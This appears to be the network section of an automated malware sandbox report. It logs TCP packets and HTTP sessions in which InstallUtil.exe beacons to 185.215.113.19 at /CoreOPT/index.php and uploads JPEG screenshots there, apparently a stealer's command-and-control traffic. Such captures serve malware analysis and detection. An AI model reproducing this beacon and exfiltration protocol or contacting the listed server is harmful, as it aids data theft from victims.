Oct 16, 2024 19:22:40.509146929 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509169102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509169102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509270906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509270906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509270906 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509313107 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.509335041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509335041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509375095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509375095 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509439945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509445906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.509450912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.509460926 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.509533882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509533882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509533882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509533882 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509552956 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.509581089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509581089 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509802103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509802103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509802103 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509852886 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.509922981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509922981 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509923935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509923935 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509988070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509988070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509988070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.509988070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510015011 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510060072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510060072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510060072 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510097027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510097027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510097027 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510149002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510149002 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510169983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510174990 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510236979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510241032 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510250092 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510253906 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510268927 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510335922 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510345936 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510363102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510363102 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510457993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510459900 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510462999 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510472059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510476112 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510479927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510514975 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510535002 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510607958 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510684013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510684013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510684013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510684013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510684013 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510700941 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510732889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510732889 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510756016 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510760069 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510796070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510796070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510823011 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510826111 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510828018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510837078 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510912895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510912895 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510929108 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510934114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510943890 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510965109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510965109 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510992050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.510993958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510993958 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.510996103 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511008024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511260986 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511265993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511296988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511296988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511296988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511296988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511296988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511296988 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511374950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511374950 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511393070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511393070 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511464119 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511468887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511477947 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511492968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511492968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511492968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511492968 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511519909 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511524916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511533976 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511538029 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511545897 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511549950 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511604071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511604071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511605024 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511641979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511641979 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511673927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511677980 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511687040 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511718035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511718035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511718035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511718035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511735916 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.511784077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511784077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511852980 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.511852980 CEST	49716	80	192.168.2.9	185.215.113.19

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49716	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:39.403130054 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:22:39.403141022 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:39.403196096 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:39.403213024 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:39.403234005 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:39.403283119 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:39.403283119 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:39.403405905 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:39.403405905 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:39.403405905 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:39.403405905 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:41.246170998 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49715	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:39.403215885 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:40.402333975 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:40.423577070 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:40.831127882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49717	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:40.949377060 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:41.994615078 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:41.997998953 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:42.423067093 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49718	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:41.414200068 CEST	170	OUT	POST /CoreOPT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODU0NTg= Host: 185.215.113.19 Content-Length: 85610 Cache-Control: no-cache
Oct 16, 2024 19:22:41.414307117 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 30 4e 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODU0NTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Oct 16, 2024 19:22:41.414307117 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Oct 16, 2024 19:22:41.414307117 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Oct 16, 2024 19:22:41.414307117 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Oct 16, 2024 19:22:41.414307117 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Oct 16, 2024 19:22:41.414499998 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Oct 16, 2024 19:22:41.414499998 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Oct 16, 2024 19:22:41.414499998 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Oct 16, 2024 19:22:41.414499998 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Oct 16, 2024 19:22:41.414551973 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Oct 16, 2024 19:22:43.024786949 CEST	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49719	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Oct 16, 2024 19:22:42.541301966 CEST	155	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 16, 2024 19:22:43.562325954 CEST	797	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d [TRUNCATED] Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0
Oct 16, 2024 19:22:43.576478004 CEST	305	OUT	POST /CoreOPT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Oct 16, 2024 19:22:43.990644932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 16 Oct 2024 17:22:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49720	185.215.113.19	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
